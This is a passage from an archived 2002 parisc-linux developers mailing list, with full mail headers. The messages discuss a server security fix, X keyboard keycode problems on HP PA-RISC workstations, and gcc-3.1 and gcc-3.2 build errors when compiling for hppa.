List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15403

"Stephan Trajkoff" writes...

> Please admins of parisc-linux to fix their problem

We're upgrading it today. It will be fixed shortly.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Not working PHP, security hole
Date: Thu, 11 Jul 2002 13:24:22 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020711202422.GI14656@tausq.org>
References: <20020711194810.2007D485F@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621491 10289 80.91.229.3 (22 Nov 2014 01:58:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 14:19:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id E41444874
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 14:19:17 -0600 (MDT)
Original-Received: (qmail 26909 invoked from network); 11 Jul 2002 20:19:15 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <stephan@itp.bg>; 11 Jul 2002 20:19:15 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 54DCFCDFFA; Thu, 11 Jul 2002 13:24:22 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020711194810.2007D485F@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15404

In reference to a message from Stephan Trajkoff, dated Jul 11:
> Please admins of parisc-linux to fix their problem

thanks for posting the passwords to the mailing list :-/

the admins are fixing things now.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x windows keybord problem on 715/33
Date: Fri, 12 Jul 2002 02:02:22 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20020712000222.GC20431@gate450.dyndns.org>
References: <Pine.LNX.4.44.0207111849360.32161-100000@tassadar.physics.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621492 10293 80.91.229.3 (22 Nov 2014 01:58:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 18:02:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gate450.dyndns.org (pD955D5F1.dip.t-dialin.net [217.85.213.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4676484D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 18:02:34 -0600 (MDT)
Original-Received: from athlon.heylan (athlon.heylan [192.168.0.11])
	by gate450.dyndns.org (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g6C02VZ10210
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 02:02:32 +0200
Original-Received: (from andreas@localhost)
	by athlon.heylan (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) id g6C02M324534
	for parisc-linux@lists.parisc-linux.org; Fri, 12 Jul 2002 02:02:22 +0200
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0207111849360.32161-100000@tassadar.physics.auth.gr>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15405

Hallo Dimitris,
	
* Dimitris Zilaskos <dzila@tassadar.physics.auth.gr> [2002-07-11 17:51]:
> I am trying to setup X windows in an 715/33 . I can start various Windows
> managers like wdm and xdm , but i cant get keys 'i' and 'o' to work (
> they work ok in console ).All other keys work ok .

I had the same symptoms with a german ps2 keyboard on a 712, just with other
keys beeing dead (<, > and |).

xev showed that X is getting keycodes from those keys, but they were
not alligned.
I changed the keycodes in /etc/X11/xkb/keycodes/xfree86 according to the
ones xev reported. I guess in your case you would have to change them to:

<AD08> = code reported for i
<AD09> = code reported for o

Could also be that the cause for your dead keys is another 
and this hint totally useless.

regards,
	andreas


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x windows keybord problem on 715/33
Date: Fri, 12 Jul 2002 02:36:01 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <200207120235.11571.deller@gmx.de>
References: <Pine.LNX.4.44.0207111849360.32161-100000@tassadar.physics.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621492 10296 80.91.229.3 (22 Nov 2014 01:58:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:12 +0000 (UTC)
To: Dimitris Zilaskos <dzila@tassadar.physics.auth.gr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 18:36:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5EF734851
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 18:36:28 -0600 (MDT)
Original-Received: (qmail 29336 invoked by uid 0); 12 Jul 2002 00:36:20 -0000
Original-Received: from pd90403fd.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.253)
  by mail.gmx.net (mp015-rz3) with SMTP; 12 Jul 2002 00:36:20 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <Pine.LNX.4.44.0207111849360.32161-100000@tassadar.physics.auth.gr>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15406

Hi Dimitris,

please read ftp://ftp.parisc-linux.org/XFree86/HILkeyb/README

In any case I would suggest you update to a newer kernel.
HIL mice are now supported, and you won't have any bigger problems 
on the console or under X. Just be sure to create the /dev/input/*
device nodes as described in the FAQ entry no. 12 at 
http://www.parisc-linux.org/faq/index.html

The 100% cpu usage for softirqd is a known problem, but
it's just cosmetics and will not slower your machine.
I think we will fix this buglet in the future.

Greetings,
Helge

On Thursday 11 July 2002 17:50, Dimitris Zilaskos wrote:
>  Hello ,
>
> I am trying to setup X windows in an 715/33 . I can start various Windows
> managers like wdm and xdm , but i cant get keys 'i' and 'o' to work (
> they work ok in console ).All other keys work ok .
>
>  I have the following lines in the XF86Config
>
>    Option "XkbdRules" "xfree86"
>    Option "XkbModel" "hphil"
>
>
>  and in my  /etc/X11/xkb/rules/xfree86:
>      hp = xfree86 pc(pc104)
>      hphil = hp(hil) hp(hil)
>
>  I am running 2.4.18-pa41 . Newer kernels till 54 either freeze my
> keyboard or have ksoftirqd consume 100% cpu ( or both) . I am using a
> serial  mouse for X . It works  most of the time but sometines the pointer
> stops moving untill I press a key . Work ok under console though .
>
>  Any advice how to make 'o' and 'i'  work ?
>
>  Regards ,
> --
> ===========================================================================
>==
>
> Dimitris Zilaskos
>
> Department of Physics @ Aristotle Univercity of Thessaloniki , Greece
> ===========================================================================
>==
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem building gcc-3.2 (cvs head) on hppa-linux
Date: Fri, 12 Jul 2002 00:27:03 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20020712072703.GA8838__29288.1303503693$1416621492$gmane$org@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621492 10298 80.91.229.3 (22 Nov 2014 01:58:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: gcc@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 01:22:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21B65482A
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 01:22:20 -0600 (MDT)
Original-Received: (qmail 32139 invoked from network); 12 Jul 2002 07:22:19 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gcc@gcc.gnu.org>; 12 Jul 2002 07:22:19 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8B5BFCDFFA; Fri, 12 Jul 2002 00:27:03 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15407

Trying to build CVS head (3.2 20020711) with:

configure --host=hppa-linux --build=hppa-linux --target=hppa64-linux
--enable-shared --disable-nls --enable-languages=c

I get:

/home/tausq/build/gcc-3.2/gcc/xgcc -B/home/tausq/build/gcc-3.2/gcc/ -B/home/tausq/opt/gnu/hppa64-linux/bin/ -B/home/tausq/opt/gnu/hppa64-linux/lib/ -isystem /home/tausq/opt/gnu/hppa64-linux/include -O2  -DIN_GCC -DCROSS_COMPILE   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -fPIC -Dpa64=1 -DELF=1 -g  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED -Dinhibit_libc -I.
-I. -I/home/tausq/src/gcc-3.2/gcc -I/home/tausq/src/gcc-3.2/gcc/. -I/home/tausq/src/gcc-3.2/gcc/config -I/home/tausq/src/gcc-3.2/gcc/../include  -DL__gcc_bcmp -c /home/tausq/src/gcc-3.2/gcc/libgcc2.c -o libgcc/./__gcc_bcmp.o
/home/tausq/src/gcc-3.2/gcc/unwind-dw2.c: In function `uw_frame_state_for':
/home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:906: warning: implicit declaration of function `memset'
/home/tausq/src/gcc-3.2/gcc/unwind-dw2.c: In function `uw_install_context_1':
/home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:1193: warning: implicit declaration of
function `memcpy'
In file included from /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:1210:
/home/tausq/src/gcc-3.2/gcc/unwind.inc: In function `_Unwind_RaiseException':
/home/tausq/src/gcc-3.2/gcc/unwind.inc:132: error: Attempt to delete prologue/epilogue insn:
(insn 337 336 338 14 (nil) (set (reg:DI 7 %r7)
        (mem:DI (plus:DI (reg/f:DI 30 %r30)
                (const_int -296 [0xfffffffffffffed8])) [0 S8 A64])) -1 (nil)
    (nil))
/home/tausq/src/gcc-3.2/gcc/unwind.inc:132: internal compiler error: Internal compiler error in propagate_one_insn, at flow.c:1637
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [libgcc/./unwind-dw2.o] Error 1
make[2]: Leaving directory `/home/tausq/build/gcc-3.2/gcc'
make[1]: *** [libgcc.a] Error 2
make[1]: Leaving directory `/home/tausq/build/gcc-3.2/gcc'
make: *** [all-gcc] Error 2

The bootstrapping compiler is gcc-3.0.4

any ideas?
randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dimitris Zilaskos <dzila@tassadar.physics.auth.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x windows keybord problem on 715/33
Date: Fri, 12 Jul 2002 10:27:10 +0300 (EEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207121026360.18237-100000@tassadar.physics.auth.gr>
References: <200207120235.11571.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621493 10301 80.91.229.3 (22 Nov 2014 01:58:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 01:27:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tassadar.physics.auth.gr (tassadar.physics.auth.gr [155.207.123.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 234604870
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 01:27:12 -0600 (MDT)
Original-Received: from localhost (dzila@localhost)
	by tassadar.physics.auth.gr (8.11.6/8.11.6) with ESMTP id g6C7RAn18377
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 10:27:10 +0300
In-Reply-To: <200207120235.11571.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15408


  Thank you all guys for the tips , I will give them a try . And
congratulations to all those developing PA-Linux for their excellent
work.

 Regards ,

--
=============================================================================

Dimitris Zilaskos

Department of Physics @ Aristotle Univercity of Thessaloniki , Greece
=============================================================================



From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiling kernels with gcc-3.1
Date: Fri, 12 Jul 2002 00:36:28 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20020712073628.GB8838@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621493 10303 80.91.229.3 (22 Nov 2014 01:58:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 01:31:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7D2A4875
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 01:31:40 -0600 (MDT)
Original-Received: (qmail 4209 invoked from network); 12 Jul 2002 07:31:40 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@parisc-linux.org>; 12 Jul 2002 07:31:40 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CED89CDFFA; Fri, 12 Jul 2002 00:36:28 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15409

I seem to recall some reports that you cannot build a working kernel
with gcc-3.1....

Well, maybe they've changed things upstream, but I just tried with
gcc-3.1.1 (3.1.1 20020708 snapshot) and it seems to work well, at least
with my limited testing... this is with the debian default 64-bit smp
.config.

I did have to hack up a bunch of code... it seems like gcc-3.1.1 doesn't
like this construct:

typedef struct {
        volatile unsigned int __attribute__((aligned(16))) lock;
} spinlock_t;

typedef struct {
        spinlock_t lock;
        volatile unsigned int count;
} rwlock_t;

rwlock_t foo = (rwlock_t) { (spinlock_t) { 1 }, 0 };

it complains that the initializer is not constant in this case. 
removing the (rwlock_t) cast fixed that....

also it doesn't like it when you have a variable and you initialize it
after declaration with the { (spinlock_t) { 1 }, 0 } stuff...

(e.g. 
rwlock_t foo;

foo = { (spinlock_t) { 1 }, 0 };

gives a "parse error at {" message)

after working through these problems i got a working kernel...

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Fri, 12 Jul 2002 11:49:48 +0200 (CEST)
Lines: 68
Approved: news@gmane.org
Message-ID: <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be>
References: <20020712073628.GB8838@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621493 10306 80.91.229.3 (22 Nov 2014 01:58:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 03:49:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BA0B486E
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 03:49:52 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Sx3c-0005RV-00; Fri, 12 Jul 2002 11:49:48 +0200
In-Reply-To: <20020712073628.GB8838@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15410

Hi Randolph,

I am on going to build mirroring on my test server.
But I will test it asap (as I already cvs update gcc-3.1.. ) and let you inform.

Thanks a lot for info,
Joel 

PS: Can you do a telnet or an ssh connection when this kernel is running? IIRC
as well as gcc-3.1 as gcc-3.2, I always reach well to build and boot kernels
(without kdb) but the system crashes as soon as you try to connect it via the
network.

Quoting Randolph Chung <randolph@tausq.org>:

> I seem to recall some reports that you cannot build a working kernel
> with gcc-3.1....
> 
> Well, maybe they've changed things upstream, but I just tried with
> gcc-3.1.1 (3.1.1 20020708 snapshot) and it seems to work well, at least
> with my limited testing... this is with the debian default 64-bit smp
> .config.
> 
> I did have to hack up a bunch of code... it seems like gcc-3.1.1
> doesn't
> like this construct:
> 
> typedef struct {
>         volatile unsigned int __attribute__((aligned(16))) lock;
> } spinlock_t;
> 
> typedef struct {
>         spinlock_t lock;
>         volatile unsigned int count;
> } rwlock_t;
> 
> rwlock_t foo = (rwlock_t) { (spinlock_t) { 1 }, 0 };
> 
> it complains that the initializer is not constant in this case. 
> removing the (rwlock_t) cast fixed that....
> 
> also it doesn't like it when you have a variable and you initialize it
> after declaration with the { (spinlock_t) { 1 }, 0 } stuff...
> 
> (e.g. 
> rwlock_t foo;
> 
> foo = { (spinlock_t) { 1 }, 0 };
> 
> gives a "parse error at {" message)
> 
> after working through these problems i got a working kernel...
> 
> randolph
> --  
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 on STI 819/K210
Date: Fri, 12 Jul 2002 15:06:19 +0300
Lines: 9
Approved: news@gmane.org
Message-ID: <20020712120458.2AAD3486D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621494 10311 80.91.229.3 (22 Nov 2014 01:58:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 06:04:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 2AAD3486D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 06:04:58 -0600 (MDT)
Original-Received: (qmail 17331 invoked from network); 12 Jul 2002 12:06:19 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 12 Jul 2002 12:06:19 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
